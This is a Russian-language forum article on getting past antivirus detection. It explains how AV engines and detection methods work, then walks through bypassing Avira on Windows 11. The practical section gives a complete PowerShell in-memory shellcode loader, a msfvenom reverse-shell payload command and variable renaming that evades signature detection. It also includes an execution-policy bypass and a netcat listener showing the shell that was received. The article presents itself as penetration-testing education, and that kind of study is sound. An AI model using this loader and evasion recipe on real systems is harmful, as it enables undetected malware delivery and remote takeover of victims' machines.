• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Статья Сквозь щит: Техники обхода антивирусной защиты, о которых вы не знали

apache2

Green Team
26.02.2021
63
42
Оглавление:
  1. Как работает антивирус и как его обойти: тестирование антивируса и анализ уязвимостей
  2. Архитектура антивируса
  3. Методы обнаружения вредоносного ПО
  4. Обход антивируса на диске
  5. Обход антивируса в памяти
  6. Практический кейс: обход антивируса через Thread Injection
Антивирус (AV): тестирование антивируса в действии
Антивирус (AV) — это ПО для обнаружения, предотвращения и удаления скрытых угроз и киберугроз. Сегодня AV‑решение выходит за рамки простого сканирования — оно включает анализ уязвимостей, эмуляцию вредоносного поведения и реагирует на нестандартные угрозы в рамках информационной безопасности. Изначально оно было разработано исключительно для удаления компьютерных вирусов. Однако с развитием новых типов вредоносного ПО, таких как боты и вымогатели (ransomware), современное антивирусное ПО, как правило, включает дополнительные механизмы защиты, такие как IDS/IPS (системы обнаружения/предотвращения вторжений), файерволы, сканеры сайтов и многое другое.

Изначально антивирусное ПО работало на основе сигнатур. Цель сигнатуры — однозначно идентифицировать конкретный образец вредоносного ПО. Сигнатуры могут отличаться по типу и характеристикам: от простого хэша файла до специфичного совпадения бинарной последовательности. Как будет показано в следующем разделе, антивирус состоит из различных движков, отвечающих за обнаружение и анализ конкретных компонентов запущенной системы.

Для каждого антивирусного движка часто определяется собственный сигнатурный язык. Таким образом, одна и та же вредоносная программа может быть описана разными сигнатурами в зависимости от типа движка. Например, можно создать две сигнатуры для одной и той же вредоносной программы: одна — для обнаружения файла на диске, другая — для анализа его сетевого взаимодействия. Семантика этих сигнатур будет существенно отличаться, поскольку они предназначены для разных компонентов AV. В 2014 году был открыт исходный код языка сигнатур под названием YARA, что позволило исследователям использовать его для запросов к платформе VirusTotal или для интеграции своих сигнатур в антивирусные продукты. VirusTotal — это поисковая система вредоносного ПО, позволяющая искать известные образцы или отправлять новые для анализа с использованием множества антивирусов.

Поскольку сигнатуры пишутся на основе известных угроз, AV изначально могли обнаруживать только уже известное и задокументированное вредоносное ПО. Однако современные решения, включая Windows Defender, включают движок машинного обучения (ML), к которому обращаются при обнаружении неизвестного файла. Такие движки могут обнаруживать ранее неизвестные угрозы. Поскольку движки машинного обучения работают в облаке, им требуется постоянное интернет-соединение, что не всегда возможно на внутренних серверах компаний. Кроме того, множество движков, составляющих AV, не должно сильно нагружать систему, чтобы не снижать её производительность.

Чтобы компенсировать эти ограничения AV, в последние годы развиваются решения класса EDR (Endpoint Detection and Response). EDR отвечает за генерацию телеметрии по событиям безопасности и отправку её в систему SIEM (Security Information and Event Management), которая агрегирует данные со всех хостов в компании. Затем SIEM визуализирует эти события, чтобы аналитики могли получить полную картину текущей или прошлой атаки.

Хотя некоторые EDR-решения содержат компоненты AV, AV и EDR не исключают друг друга — они дополняют друг друга, обеспечивая более полную видимость и улучшенное обнаружение. В конечном итоге выбор решений должен базироваться на архитектуре внутренней сети организации и текущем уровне её защищённости.



Движки и компоненты антивируса

В основе работы современного антивируса лежат обновления сигнатур, которые загружаются из базы поставщика, размещённой в интернете. Эти сигнатуры сохраняются в локальной базе, которая, в свою очередь, используется различными внутренними движками.

Обычно антивирус состоит из следующих компонентов:

  • []Движок файлов (File Engine)
    [ ]Движок памяти (Memory Engine)
    []Сетевой движок (Network Engine)
    [ ]Дизассемблер (Disassembler)
    []Эмулятор / Песочница (Sandbox)
    [ ]Браузерный плагин (Browser Plugin)
  • Движок машинного обучения (Machine Learning Engine)

Каждый из этих движков работает в связке с сигнатурной базой, классифицируя события как безопасные, вредоносные или неизвестные.

Файловый движок выполняет как плановое, так и в реальном времени сканирование. При плановом сканировании движок перебирает всю файловую систему, отправляя метаданные или содержимое файлов в сигнатурный движок. При сканировании в реальном времени он отслеживает появление новых файлов и реагирует на действия, такие как скачивание вредоносного ПО. Для отслеживания таких событий он использует специальный драйвер мини-фильтра на уровне ядра. Поэтому современный AV работает как в пространстве пользователя, так и в ядре, чтобы охватить всю ОС.

Движок памяти анализирует пространство памяти каждого процесса в реальном времени, ища известные бинарные сигнатуры или подозрительные вызовы API, которые могут указывать на инъекцию в память.

Сетевой движок следит за входящим и исходящим трафиком через сетевой интерфейс. При совпадении с сигнатурой он может заблокировать соединение с C2-сервером (Command and Control).

Поскольку вредоносное ПО часто шифрует свой код, AV используют дизассемблирование или запускают подозрительный файл в эмуляторе/песочнице, чтобы увидеть его истинное поведение.

Дизассемблер преобразует машинный код в ассемблер, восстанавливает исходную структуру программы и выявляет процедуры кодирования/декодирования. Песочница представляет собой изолированную среду, где вредоносное ПО может быть безопасно запущено. После распаковки и запуска в эмуляторе образец анализируется на предмет сигнатур.

Браузерные плагины позволяют получить доступ к содержимому песочницы браузера, чтобы выявлять вредоносные скрипты, запускающиеся в его контексте.

Движок машинного обучения становится всё более важной частью антивируса: он анализирует неизвестные угрозы с помощью облачной инфраструктуры и обученных моделей.

Методы обнаружения

Как уже упоминалось, синтаксис и назначение сигнатур зависят от движка, для которого они разработаны, но все они предназначены для уникальной идентификации вредоносного ПО.

Мы рассмотрим следующие методы обнаружения:

  • []Обнаружение на основе сигнатур
    [ ]Эвристическое обнаружение
    []Поведенческое обнаружение
    [ ]Обнаружение с помощью машинного обучения

Обнаружение на основе сигнатур — это технология белого списка. Файловая система сканируется на наличие известных сигнатур, и при их обнаружении соответствующие файлы изолируются.

Сигнатура может быть просто хэшем файла или набором бинарных шаблонов, уникальных для конкретного образца вредоносного ПО. Использование только хэша ненадёжно — изменение одного бита полностью меняет хэш.

Пример:
Bash:
kali@kali:~$ xxd -b malware.txt
00000000: 01100011 01101111 01100100 01100101 01100010 01111001 codeby
00000006: 00101110 01101110 01100101 01110100 00001010 .net.

Теперь считаем SHA256-хэш:
Bash:
kali@kali:~$ sha256sum malware.txt
1c5f8c32592d62c754c75663dda7d7d752c3fe29aa8bcbfe8c4233755968c97b malware.txt

Меняем последнюю букву на заглавную "T" и смотрим двоичный вид:
Bash:
kali@kali:~$ xxd -b malware.txt
00000000: 01100011 01101111 01100100 01100101 01100010 01111001 codeby
00000006: 00101110 01101110 01100101 01010100 00001010 .neT.

Bash:
kali@kali:~$ sha256sum malware.txt
8c45146f592b7c250cbe0f90d68e0f61f7610a33ba013ffedea044fa1a0db30c malware.tx

Как видно, хэш полностью изменился — это демонстрирует ненадёжность метода, основанного только на хэше.

Чтобы преодолеть этот недостаток, были введены дополнительные методы:

Эвристическое обнаружение

Это метод обнаружения, который использует различные правила и алгоритмы для определения того, является ли действие вредоносным. Это часто достигается путём пошагового выполнения набора инструкций в двоичном файле или путём попытки дизассемблировать машинный код и в конечном итоге декомпилировать и проанализировать исходный код, чтобы получить более полное представление о программе. Идея заключается в поиске различных шаблонов и программных вызовов (в отличие от простых последовательностей байтов), которые считаются вредоносными.

Поведенческое обнаружение

Динамически анализирует поведение двоичного файла. Это часто достигается путём выполнения рассматриваемого файла в эмулируемой среде, такой как небольшая виртуальная машина или «песочница», и поиска поведения или действий, которые считаются вредоносными.

Обнаружение с помощью машинного обучения

Наконец, обнаружение с помощью машинного обучения направлено на повышение эффективности за счёт внедрения алгоритмов машинного обучения для выявления неизвестных угроз путём сбора и анализа дополнительных метаданных. Например, Microsoft Windows Defender имеет два компонента машинного обучения: клиентский механизм машинного обучения, который отвечает за создание моделей машинного обучения и эвристических алгоритмов, и облачный механизм машинного обучения, который способен анализировать отправленный образец с помощью модели на основе метаданных, состоящей из всех отправленных образцов. Если клиентский механизм машинного обучения не может определить, является ли программа вредоносной, он запрашивает окончательный ответ у облачного механизма машинного обучения.

Обход обнаружения антивирусом

В общем смысле, обход антивирусного обнаружения делится на две широкие категории: на уровне диска (on-disk) и в памяти (in-memory).

Обход на уровне диска сосредоточен на модификации вредоносных файлов, физически размещённых на диске, в попытке обойти механизмы обнаружения антивирусного движка, анализирующего файлы.

Однако, с учётом зрелости современных антивирусных движков сканирования файлов, современное вредоносное ПО часто стремится к работе в памяти, что полностью исключает работу с диском и, таким образом, снижает вероятность обнаружения.

Обход на уровне диска

Чтобы начать обсуждение обхода, мы сначала рассмотрим различные техники, используемые для обфускации файлов, хранящихся на физическом диске.

Современная обфускация вредоносного ПО на уровне диска может принимать множество форм. Одним из первых способов избежать обнаружения было использование упаковщиков.

С учётом высокой стоимости дискового пространства и медленных сетевых скоростей в ранние годы интернета, упаковщики изначально были разработаны для уменьшения размера исполняемых файлов.

В отличие от современных техник сжатия, таких как zip, пакеры создают исполняемый файл, который не только меньше по размеру, но и является функционально эквивалентным, но с полностью новой бинарной структурой.

Полученный файл имеет новый хэш и, как результат, может эффективно обходить старые и более примитивные антивирусные сканеры.

Хотя некоторое современное вредоносное ПО использует вариации этой техники, одного лишь использования UPX и других популярных упаковщиков недостаточно для обхода современных антивирусных решений.

Обфускаторы реорганизуют и мутируют код таким образом, чтобы затруднить обратную разработку. Это включает замену инструкций на семантически эквивалентные, вставку нерелевантных инструкций или "мёртвого кода", разбиение или перестановку функций и так далее.

Хотя изначально эта техника используется разработчиками ПО для защиты интеллектуальной собственности, она также в некоторой степени эффективна против сигнатурного обнаружения антивирусов.

Современные обфускаторы также обладают возможностями выполнения кода в памяти во время исполнения, что дополнительно затрудняет обнаружение со стороны антивируса.

Криптеры криптографически изменяют исполняемый код, добавляя дешифрующий stub (заглушка), который восстанавливает исходный код при выполнении. Эта расшифровка происходит в памяти, а на диске остаётся только зашифрованный код.

Шифрование стало основой современного вредоносного ПО как одна из самых эффективных техник обхода антивируса.

Высокоэффективный обход антивируса требует комбинации всех вышеуказанных техник в дополнение к другим более продвинутым методам, включая антианализ, антиотладку, обнаружение эмуляции виртуальных машин и так далее.

В большинстве случаев программы-защитники разрабатывались с легитимной целью, например, защиты от копирования, но также могут использоваться для обхода антивирусного обнаружения.

Большинство этих техник может казаться простыми на высоком уровне, но на практике они могут быть довольно сложными.

По этой причине в настоящее время существует мало активно поддерживаемых бесплатных инструментов, обеспечивающих приемлемый уровень обхода антивируса.

Среди коммерчески доступных инструментов особенно выделяется The Enigma Protector, который может быть успешно использован для обхода антивирусных продуктов.

Обход в памяти

Инъекции в память (In-Memory Injections), также известные как PE-инъекции, — это популярная техника, используемая для обхода антивирусных продуктов на машинах с Windows. Вместо обфускации вредоносного бинарного файла, создания новых секций или изменения существующих прав доступа, эта техника фокусируется на манипуляции с оперативной (временной) памятью. Одним из основных преимуществ данной техники является то, что она не записывает никаких файлов на диск — а именно на это обычно направлено внимание большинства антивирусных продуктов.

Существует несколько техник обхода, которые не записывают файлы на диск. Хотя я вкратце объясню некоторые из них. Мы подробно рассмотрим только инъекцию в память с использованием PowerShell, поскольку остальные методы требуют низкоуровневой программной подготовки на таких языках, как C/C++.

Первая техника, которую мы рассмотрим, — это инъекция в память удалённого процесса (Remote Process Memory Injection), суть которой заключается в том, чтобы внедрить полезную нагрузку в другой, валидный (немалвэрный) исполняемый файл (PE).

Наиболее распространённый способ реализации этого — использование набора API Windows.

Сначала вызывается функция OpenProcess, чтобы получить валидный HANDLE (дескриптор) целевого процесса, к которому у нас есть доступ.

Получив HANDLE, мы выделяем память в контексте этого процесса с помощью API, например VirtualAllocEx.

После выделения памяти в удалённом процессе, мы копируем туда вредоносную нагрузку с помощью WriteProcessMemory.

После успешного копирования полезной нагрузки, она обычно исполняется в памяти в отдельном потоке с помощью API CreateRemoteThread.

Это звучит сложно, но далее мы рассмотрим аналогичный пример, в котором PowerShell выполнит основную работу, реализуя похожую, но упрощённую атаку на локальный экземпляр powershell.exe.

В отличие от обычной DLL-инъекции, которая предполагает загрузку вредоносной DLL с диска через API LoadLibrary, техника отражённой DLL-инъекции (Reflective DLL Injection) предполагает загрузку DLL, хранящейся в памяти процесса, контролируемой атакующим.

Основная сложность реализации этой техники заключается в том, что LoadLibrary не поддерживает загрузку DLL из памяти. Более того, операционная система Windows не предоставляет ни одного API, способного это сделать.

Атакующие, которые выбирают эту технику, должны писать собственную реализацию аналогичной функции, не зависящую от дисковой DLL.

Третья техника, которую стоит упомянуть — это Process Hollowing (опустошение процесса). При использовании Process Hollowing для обхода антивирусов, атакующий сначала запускает легитимный процесс в приостановленном состоянии. Затем оригинальное содержимое (образ) процесса в памяти удаляется и заменяется на вредоносный исполняемый образ. После этого процесс возобновляется и выполняет вредоносный код вместо законного.

Наконец, Inline Hooking — как следует из названия, — включает модификацию памяти и внедрение хука (инструкции, перенаправляющей выполнение кода) в функцию, чтобы она начала исполнять вредоносный код. После выполнения нашего вредоносного кода, управление возвращается в изменённую функцию и продолжается, создавая иллюзию, что выполнен только оригинальный код.

Hooking — это техника, часто используемая руткитами — более скрытными формами вредоносного ПО. Цель руткитов — обеспечить автору вредоноса скрытый и постоянный доступ к системе жертвы за счёт модификации системных компонентов в пользовательском пространстве, ядре или даже на более низких уровнях защиты ОС, таких как boot-сектор или гипервизор. Поскольку руткиты требуют административных прав для установки хуков, они обычно внедряются из повышенной оболочки (elevated shell) либо с использованием уязвимостей повышения привилегий.

Обход антивируса с помощью внедрения потока (Thread Injection)

Теперь, когда у нас есть общее представление о техниках обнаружения, используемых антивирусным программным обеспечением, и соответствующих методах обхода, мы можем перейти к практическому примеру.

Найти универсальное решение для обхода всех антивирусных продуктов — задача сложная и трудоёмкая, если вообще возможная. Учитывая ограниченность времени в рамках типичного пентеста, гораздо эффективнее ориентироваться на конкретный антивирусный продукт, используемый в целевой сети.

Мы будем взаимодействовать с Avira Free Security на клиентской машине с Windows 11.

Avira Free Security установлен на клиентской машине


Мы можем проверить, включена ли защита в реальном времени (Real-Time Protection), и при необходимости включить её вручную.

Avira real‑time protection включена на Windows 11


Первым шагом при тестировании антивирусного продукта следует удостовериться, что антивирус работает должным образом. Мы воспользуемся полезной нагрузкой Metasploit.

После переноса вредоносного PE-файла на наш клиент Windows, мы почти сразу получаем предупреждение о вредоносном содержимом загруженного файла. В данном случае появляется сообщение об ошибке, указывающее, что наш файл был заблокирован.

Avira отправляет файл в карантин как вредоносный


Avira показывает всплывающее уведомление, сообщающее, что файл был помечен как вредоносный и отправлен в карантин.

Антивирусные продукты, как правило, реализуют изоляцию угроз путём блокировки любых операций с файловой системой на уровне ядра или помещения вредоносных образцов в зашифрованное хранилище, доступ к которому есть только у антивирусного ПО.

В зависимости от степени ограниченности целевого окружения, мы можем попытаться обойти антивирус с помощью PowerShell.

В следующем примере мы воспользуемся техникой внедрения в память удалённого процесса (remote process memory injection), аналогичной той, которую мы изучали в предыдущем разделе. Основное отличие заключается в том, что на этот раз мы будем нацелены на текущий исполняемый процесс, которым в нашем случае будет интерпретатор PowerShell x86.

Очень мощной возможностью PowerShell является его способность взаимодействовать с Windows API. Это позволяет нам реализовать процесс инъекции в память в виде PowerShell-скрипта. Одно из главных преимуществ запуска скрипта, а не PE-файла — это то, что антивирусным разработчикам сложно определить, является ли скрипт вредоносным, поскольку он выполняется внутри интерпретатора и сам по себе не является исполняемым кодом. Тем не менее, имейте в виду, что некоторые антивирусные продукты успешнее других справляются с обнаружением вредоносных скриптов.³

Более того, даже если скрипт будет помечен как вредоносный, его можно легко изменить. Антивирусы часто анализируют имена переменных, комментарии и логику — всё это можно изменить без необходимости перекомпиляции.

Чтобы продемонстрировать базовый обход антивируса, мы сначала проанализируем хорошо известный вариант PowerShell-скрипта для инъекции в память, а затем протестируем его против Avira.

Ниже представлен базовый шаблон скрипта, выполняющего внедрение в память.

Код:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset(IntPtr , $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

Скрипт начинается с импорта функций VirtualAlloc и CreateThread из kernel32.dll, а также memset из msvcrt.dll. Эти функции позволяют нам, соответственно, выделить память, создать поток выполнения и записать произвольные данные в выделенную память.

Обратите внимание, что, как и прежде, выделение памяти и запуск нового потока выполняются в текущем процессе (powershell.exe), а не в удалённом.

Код:
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

Основная логика скрипта начинается с выделения блока памяти с помощью VirtualAlloc, который берет каждый байт полезной нагрузки, хранящейся в массиве байтов $sc, и записывает его в наш недавно выделенный блок памяти с помощью memset.

Код:
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset(IntPtr , $sc[$i], 1)};

На последнем этапе наша записанная в памяти полезная нагрузка выполняется в отдельном потоке с использованием CreateThread API.

Код:
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

payload отсутствует в нашем скрипте, но мы сгенерируем его с помощью msfvenom

Bash:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc

Для обнаружения вредоносных скриптов поставщики антивирусного ПО часто используют статические данные.строковые подписи, относящиеся к значимым частям кода, таким как переменные или имена функций.

Чтобы обойти эту логику обнаружения, давайте дадим переменныепредыдущий сценарий имел более общие названия.

Код:
$var2 = Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]] $var1 = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28
...
...
$size = 0x1000;
if ($var1.Length -gt 0x1000) {$size = $var1.Length};
$x = $var2::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($var1.Length-1);$i++) {$var2::memset(IntPtr , $var1[$i], 1)};
$var2::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

После того, как Avira просканирует наш скрипт на нашем компьютере с Windows 11, онауказывает на то, что наш скрипт не является вредоносным.

PowerShell bypass скрипт не был детектирован как вредоносный


Давайте запустим bypass.ps1 и проанализируем вывод

Код:
PS C:\Users\shodam\Desktop> .\bypass.ps1
.\bypass.ps1 : File C:\Users\shodam\Desktop\bypass.ps1 cannot be loaded because running scripts is disabled on this
system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1

.\bypass.ps1
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
Быстрый поиск в гугле сказал чтобы запустить скрипт нужно установить политику выполнения для пользователя:

Код:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

Как и в случае со многими другими параметрами Windows, настройки Execution Policy PowerShell могут задаваться с помощью одной или нескольких GPO (групповых политик Active Directory).
В таких случаях может потребоваться поиск дополнительных способов обхода.

Далее открываем listener на порту и запускаем вредонос.

Bash:
root@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.50.1] from (UNKNOWN) [192.168.50.62] 64613
Microsoft Windows [Version 10.0.22000.675]
(c) Microsoft Corporation. All rights reserved.
C:\Users\shodam>

В дополнении скажу, если EDR-системы реализованы корректно и работают в связке с компетентным центром мониторинга безопасности (SOC), они могут просто молча уведомить SOC-команду, что в течение нескольких минут сделает атаку бесполезной.

Если будет интересно, то я могу написать ещё статью про обход, но уже на основе материалов SANS. Я давно прошёл у них 2 курса и много сделал заметок в obsidian.
Ещё дополню статьюи:
В некоторых организациях в нижнем колонтитуле электронной почты для всех исходящих сообщений указывается антивирусный продукт, который сканирует вложения файлов, сообщая получателям, на какой продукт рассчитывает организация.
В качестве альтернативы, для организаций, у которых нет таких нижних колонтитулов электронной почты, мы могли бы воспользоваться методом отслеживания кэша DNS.
поиск кэшированных записей, связанных с обновлениями антивируса, на целевых DNS-серверах.
И есть ещё один способ, но о нём расскажу уже в следующей статье :)
 
Последнее редактирование модератором:
Конечно интересно. Это самая первая линия защиты Windows, а для новичков - она же и последняя. Ещё!
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab